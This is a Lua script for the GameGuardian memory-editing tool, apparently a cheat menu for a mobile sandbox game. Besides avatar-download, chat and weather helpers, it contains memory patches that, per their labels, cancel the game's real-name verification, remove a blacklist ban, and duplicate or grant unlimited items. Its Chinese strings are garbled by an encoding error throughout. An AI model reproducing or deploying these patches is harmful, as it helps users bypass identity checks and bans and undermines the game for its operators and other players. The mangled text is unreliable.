if y== nil then gg.toast("ğŸ”°å�–æ¶ˆé€‰æ‹©é»˜è®¤åˆ�å§‹åŒ–ğŸ”°")
else
gg.toast("â™‹ï¸�æ­£åœ¨ä¸‹è½½â€¦â€¦â™‹ï¸�")
ByXEY=gg.getFile():gsub('/[^/]+$','').."/"..y[1]..".jpg"
YC1=gg.makeRequest("https://q.qlogo.cn/headimg_dl?dst_uin="..y[1].."&spec=100").content
io.open(ByXEY,"w"):write(YC1)
gg.alert("ğŸ�€å·²ä¸‹è½½åˆ°ï¼š\n"..ByXEY)
end
end
function ls7()
OI = gg.prompt({"è¯·è¾“å…¥è�Šå¤©çš„å¯¹è¯� å¤–éƒ¨API"},{"å°�å¸ƒåœ¨å�—ï¼Ÿ"},{"text"})
LOL = gg.makeRequest("https://jintia.jintias.cn/api/xatx.php?msg="..OI[1]).content
B=LOL:match('text":"(.-)"')
gg.alert(B)
a7()
end



function QTGN3()
file=io.open("/storage/emulated/0/.MyCity","r")
if file~=nil then con=file:read("*a") dz=con:match("%&(.-)%&") city=con:match("@(.-)@") file:close()
 else
  city=gg.prompt({"è¾“å…¥åŸ�å¸‚"},{""},{"text"})[1]
  local function Enc(Mzsh)
    return Mzsh:gsub(".", function(jia)
      return string.format("%%%02X", (string.byte(jia)) % 256)
    end):gsub(" ", "+")
  end
  dz=string.match(gg.makeRequest("http://toy1.weather.com.cn/search?cityname="..Enc(city).."&callback=success_jsonpCallback&_=1532937966722").content,"ref\":\"(.-)~")
  if dz==nil then gg.alert("è¾“å…¥é”™è¯¯åŸ�å¸‚ï¼Œè¯·é‡�æ–°è¾“å…¥") os.exit() else f=io.open("/storage/emulated/0/.MyCity","w"):write("@"..city.."@\n&"..dz.."&"):close() end
end
function split(s, p)
  local rt = {}
  string.gsub(s,"[^" .. p .. "]+",function(w)
    table.insert(rt, w)
  end
  )
  return rt
end
function x(x)
  local i=0
  for w in string.gmatch(x,"active") do
    i=i+1 end
  local t=string.rep("â­�",i)
  return t
end
-------
tq=gg.makeRequest("http://www.weather.com.cn/weather1d/"..dz..".shtml").content
---è�·å�–1å¤©å†…å¤©æ°”
a=string.gsub(string.gsub(string.gsub(string.gsub(string.match(tq,"var hour3data={\"1d\":%[(.-)]"),"\",\"","$$"),"\"",""),",...,",","),",(%d+)%$","")
b=split(a,"$")--å¤©æ°”

---è�·å�–ç”Ÿæ´»æŒ‡æ•°
tab={"<h2>(.-)</h2>","<em>(.-)</em>","\n<i (.-)</i>\n","<dd>(.-)</dd>"}
shzs=gg.makeRequest("http://www.weather.com.cn/weather1dn/"..dz..".shtml").content
tq1=string.match(shzs,"<b>ç”Ÿæ´»åŠ©æ‰‹</b>(.-)</div>")
c={}
for i=1,4 do
  c[i]={}
  for w in string.gmatch(tq1,tab[i]) do
    if i==1 then if string.find(w,"em") then w="å�¥è‡»Â·è¡€ç³–" end end
    table.insert(c[i],w)
  end
end
ts={}
for v=1,6 do
  ts[v]={}
  for i=1,4 do
    table.insert(ts[v],c[i][v])
  end
end
mm=""
for i=1,6 do
  mm=mm..ts[i][1]..":"..ts[i][2].."\næŒ‡æ•°:"..x(ts[i][3]).."\næ¸©é¦¨æ��ç¤º:"..ts[i][4].."\n\n"
end
gg.alert("å½“å‰�åŸ�å¸‚:"..city.."\n"..table.concat(b,"\n").."\n-----------\n".."ç”Ÿæ´»åŠ©æ‰‹:\n"..mm)
end



function QTGN4()
F = gg.alert("è¯·é€‰æ‹©ï½›èº«ä»½è¯� é»‘å��å�•ï½�","å�–æ¶ˆèº«ä»½è¯�","ï¸�å�–æ¶ˆé»‘å��å�•ï¸�ï¸�")
 if  F~=1 and F~=2 then
 gg.toast("ä½ æœªé€‰æ‹©å¼€å…³é»˜è®¤å�–æ¶ˆ")
    gg.toast("ä½ æœªé€‰æ‹©ï½›å¼€ å…³ï½�")
  else 
  end
if  F== 1 then
qmnb = {
{["memory"] = 4},
{["name"] = "å�–æ¶ˆå®�å��è®¤è¯�"},
{["value"] =458686464, ["type"] = 4},
{["lv"] = 6999, ["offset"] = 4, ["type"] = 4},
}
qmxg = {
{["value"] = 16777216, ["offset"] = 32,["type"] = 4,freeze = true},
}
xqmnb(qmnb)
gg.clearResults()
 elseif  F== 2 then
  qmnb = {
{["memory"] = 4},
{["name"] = "å�–æ¶ˆé»‘å��å�•"},
{["value"] =4295032832 , ["type"] = 32},
{["lv"] = 16777472, ["offset"] = 32, ["type"] = 32},
}
qmxg = {
{["value"] = 16777216, ["offset"] = 32,["type"] = 32,["freeze"] = true},
}
xqmnb(qmnb)
gg.clearResults()
end
end


function QTGN5()
local FS = gg.prompt({
    'ç‰©å“�ä»£ç �ï¼Œä¸�ä¿®æ”¹åˆ™ä¸�å¡«',
    'çª�ç ´èŒƒå›´[64;9999]',
    'å¤�åˆ¶ç‰©å“�ï¼Œé€‰æ‹©æ ¼æ•°ï¼Œä¿�æŒ�æ— ç‰©å“�[1;8]',
    'æ˜¯å�¦å¤�åˆ¶'},nil,{
    [1] = 'number',
    [2] = 'number',
    [3] = 'number',
    [4] = "checkbox"})
  if not FS then return end 
if FS[1] =="" then
  else
  gg.alert(FS[2])
  qmnb = {
{["memory"] = 4},
{["name"] = ""},
{["value"] = FS[1], ["type"] = 4},
{["lv"] = 1868785938, ["offset"] = 192, ["type"] = 4},
}
qmxg={
{["value"] = FS[2], ["offset"] = 556, ["type"] = 4},
}
xqmnb(qmnb)
end
if FS[4]==true then
A=FS[3]+999
qmnb = {
{["memory"] = 4},
{["name"] = "æ— é™�ç‰©å“�"},
{["value"] =945804460, ["type"] = 4},
{["lv"] = A, ["offset"] = -4, ["type"] = 4},
}
qmxg = {
{["value"]=945804388,["offset"]=0,["type"]=4,["freeze"] = true},
}
xqmnb(qmnb)
end end


function Main7() 
SN = gg.multiChoice({
"à¼ºà½Œà¼€â›¦à¿ˆé¸£ è°¢ å�� å�•à¿ˆâ›¦à¼€à½‘à¼»",--1
"à¼ºà½Œà¼€â›¦à¿ˆä½œ è€… mn å�·à¿ˆâ›¦à¼€à½‘à¼»",--2
"à¼ºà½Œà¼€â›¦à¿ˆä½œ è€… ks å�·à¿ˆâ›¦à¼€à½‘à¼»",--3
"à¼ºà½Œà¼€â›¦à¿ˆæ›´ æ–° æ—¥ å¿—à¿ˆâ›¦à¼€à½‘à¼»",--4
"à¼ºà½Œà¼€â›¦à¿ˆæ‰€ åœ¨ ç»„ ç»‡à¿ˆâ›¦à¼€à½‘à¼»",--5
"à¼ºà½Œà¼€â›¦à¿ˆè¿” å›� ä¸» é¡µà¿ˆâ›¦à¼€à½‘à¼»",--6
}, nil, "à¼ºà½Œà¼€â›¦à¿ˆå�šæœ€å¥½æ—¶çš„æ‰“ç®—ï¼Œä¹Ÿè¦�å�šæœ€å��æ—¶çš„å‡†å¤‡â›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�")

if SN == nil then else
if SN[1]==true then     FZGG1() end
if SN[2]==true then     FZGG2() end
if SN[3]==true then     FZGG3() end
if SN[4]==true then     FZGG4() end
if SN[5]==true then     FZGG5() end
if SN[6]==true then     Main() end
end
FX=0 end


function FZGG1()
  SN = gg.multiChoice({
   'à¼ºà½Œà¼€â›¦à¿ˆå¼€æº�å¼€å�‘è€…à¿ˆâ›¦à¼€à½‘à¼»',
   'à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»'},
  nil,'æˆ‘è¿™è¾ˆå­�èµ°è¿‡å¾ˆå¤šçš„è·¯ï¼Œè¡Œè¿‡å¾ˆå¤šåœ°æ–¹çš„æ¡¥ï¼Œçœ‹è¿‡å¾ˆå¤šæ¬¡æ•°çš„äº‘ï¼Œå–�è¿‡å¾ˆå¤šç§�ç±»çš„é…’ï¼Œå�´å�ªçˆ±è¿‡ä¸€ä¸ªæ­£å½“å¹´é¾„çš„äºº')
 if SN == nil then else
  if SN[1] == true then Main() end
  if SN[2] == true then Main() end
  if SN[3] == true then Main() end
  if SN[4] == true then Main() end
  if SN[5] == true then Main() end
 end
FX=0 end


function FZGG2()
QQ=gg.alert([[
ä½œè€…è¿·ä½ å¤§å�·ï¼š768949402
]])
end



function FZGG3()
QQ=gg.alert([[
ä½œè€…å¿«æ‰‹å¤§å�·ï¼šç¬¬å››å­£åº¦çˆ¹
]])
end



function FZGG4()
QQ=gg.alert([[
1.ä¿®å¤�æ”¹æ¨¡å¼�
2.æŠŠå�¡å¯†ç³»ç»Ÿåˆ äº†ä»¥å��å…�è´¹
3.è¾…åŠ©å�˜æˆ�äº†å¼€æº�
4.ä¿®æ”¹åˆ·æ€ªæ–¹å�—æ·»åŠ äº†åˆ·å¤§å�‹æµ·ç›—èˆ¹
5.è�”æœºåŠŸèƒ½å¢�åŠ è�”æœºæ”¹çš®è‚¤ã€�æ”¹è¿·ä½ å�·ã€�è¿·ä½ å�·å¯¹æ�¥åŠŸèƒ½
6.å¿«æ”¾æˆ˜æ­Œé‡Œé�¢çš„åŠŸèƒ½å…¨æ”¾åˆ°äº†éŸ³ä¹�åŠŸèƒ½é‡Œ
7.è¾…åŠ©å¼€å�¯é€Ÿåº¦è¿›è¡Œäº†ä¼˜åŒ–åˆ é™¤äº†æ— ç”¨é…�ç½®
]])
end



function FZGG5()
QQ=gg.alert([[
æ‰€åœ¨ç»„ç»‡ï¼šgithub
]])
end



function Main9()
QQ=gg.alert([[
å¼€æº�ä½œè€…ï¼šHNPHQS
à¼ºà½Œà¼€â›¦à¿ˆé�µå¾ªGPLè®¸å�¯è¯�à¿ˆâ›¦à¼€à½‘à¼»ï¸�
å¦‚æ�œå¯¹é�µå¾ªGPLçš„è½¯ä»¶è¿›è¡Œä»»ä½•æ”¹åŠ¨å’Œ/æˆ–å†�æ¬¡å¼€å�‘å¹¶äºˆä»¥å�‘å¸ƒï¼Œå�ªè¦�åŒ…å�«äº†GPLçš„ä»£ç �ï¼Œåˆ™äº§å“�å¿…é¡»ç»§æ‰¿GPLå��è®®ï¼Œä¸�å…�è®¸å°�é—­æº�ä»£ç �ã€‚
ä½¿ç”¨è¯¥å¼€æº�ä»£ç �è¿›è¡ŒäºŒæ”¹çš„ï¼Œå¿…é¡»å¼€æº�ï¼�

å�‘å¸ƒæœªä¿®æ”¹çš„è¯¥è½¯ä»¶ï¼Œåº”å½“ä¿�ç•™å®Œæ•´çš„è‘—ä½œæ�ƒï¼›
å�‘å¸ƒä¿®æ”¹è¿‡çš„å¼€æº�è½¯ä»¶ï¼Œåº”å½“åœ¨æº�ä»£ç �ä¸­æ˜�ç¡®æ ‡æ³¨ä¿®æ”¹çš„å†…å®¹å’Œæ—¥æœŸï¼›
ä¿®æ”¹å’Œå�‘å¸ƒå¼€æº�è½¯ä»¶çš„ï¼Œè§†ä¸ºè‡ªåŠ¨é�µå®ˆGPLè®¸å�¯è¯�çº¦æ�Ÿï¼›
ä¸�å¾—é™�åˆ¶ç”¨æˆ·ç ´è§£ï¼ˆæˆ–å��ç¼–è¯‘ï¼‰å¼€æº�è½¯ä»¶çš„è¿�è¡Œï¼ˆGPLv3ç¦�æ­¢Tivoizationè¿™æ ·çš„ç¨‹åº�ï¼Œå�³ç”¨æˆ·ä¸�å¾—åˆ©ç”¨ç”¨æˆ·æˆ–ç¬¬ä¸‰æ–¹ç¦�æ­¢æŠ€æœ¯ç ´è§£æ�ªæ–½çš„æ�ƒåˆ©æ�¥é™�åˆ¶ä½¿ç”¨è€…ä½¿ç”¨æˆ–è€…ä¿®æ”¹ç¨‹åº�ï¼‰ï¼›
ç”¨æˆ·ä¸�å�¯ä»¥å�‘èµ·è¯‰è®¼(åŒ…æ‹¬ä½†ä¸�é™�äº�å£°ç§°ç¨‹åº�æˆ–å…¶ä»»ä½•ä¸€éƒ¨åˆ†ä¾µçŠ¯äº†å…¶ä»»ä½•ä¸“åˆ©æ�ƒ)ï¼Œå�¦åˆ™ç”¨æˆ·åœ¨è¯¥å¼€æº�ç¨‹åº�æ�ˆæ�ƒä¸‹è�·å�–çš„ä¸“åˆ©æ�ƒå°†è‡ªåŠ¨ç»ˆæ­¢ã€‚

æ›´å¤šè¯¦æƒ…è¯·å‰�å¾€ https://github.com/Hnphqs/LRM/blob/main/LICENSE
]])




function Exit()
os.exit() end 
while true do if gg.isVisible(true) then   FX1 = nil  gg.setVisible(false) end  if FX1 == nil then  Main()  end  end



--Date: 2023 04 10 22:43
